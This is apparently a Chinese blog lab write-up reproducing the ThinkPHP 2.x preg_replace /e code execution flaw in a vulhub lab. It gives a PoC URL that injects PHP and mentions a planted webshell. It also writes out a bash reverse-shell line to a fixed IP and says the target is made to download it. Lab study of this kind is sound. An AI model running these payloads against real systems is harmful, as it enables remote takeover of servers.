漏洞详情:
ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。
implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面
影响版本
Thinkphp 2.x, Thinkphp 3.0版本(Lite模式)
靶场搭建
- 使用vulhub搭建靶场
- 搭建成功访问页面如下
漏洞复现
构造poc:
- ?s=/index/index/name/${@phpinfo()}
成功执行phpinfo,说明漏洞存在
写入一句话木马
用蚁剑链接,成功getshell
bash shell
首先我们先创建一个shell.sh文件
- 文件内容:bash -i >& /dev/tcp/192.168.32.145/6666 0>&1
然后开一个·HTTP的端口
-
语法:python3 -m http.server 8888
-
这个语法我一开始用的是:python -m SimpleHTTPServer 端口号;然后就报错:Nomodule named simplehttpserver;
-
后面百度才知道python3已经改成了http.server,也就是:python3 -m http.server 端口号
最后我们直接抓包改,让它去下载我们的shell.sh文件
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=22i9x1ze7qv44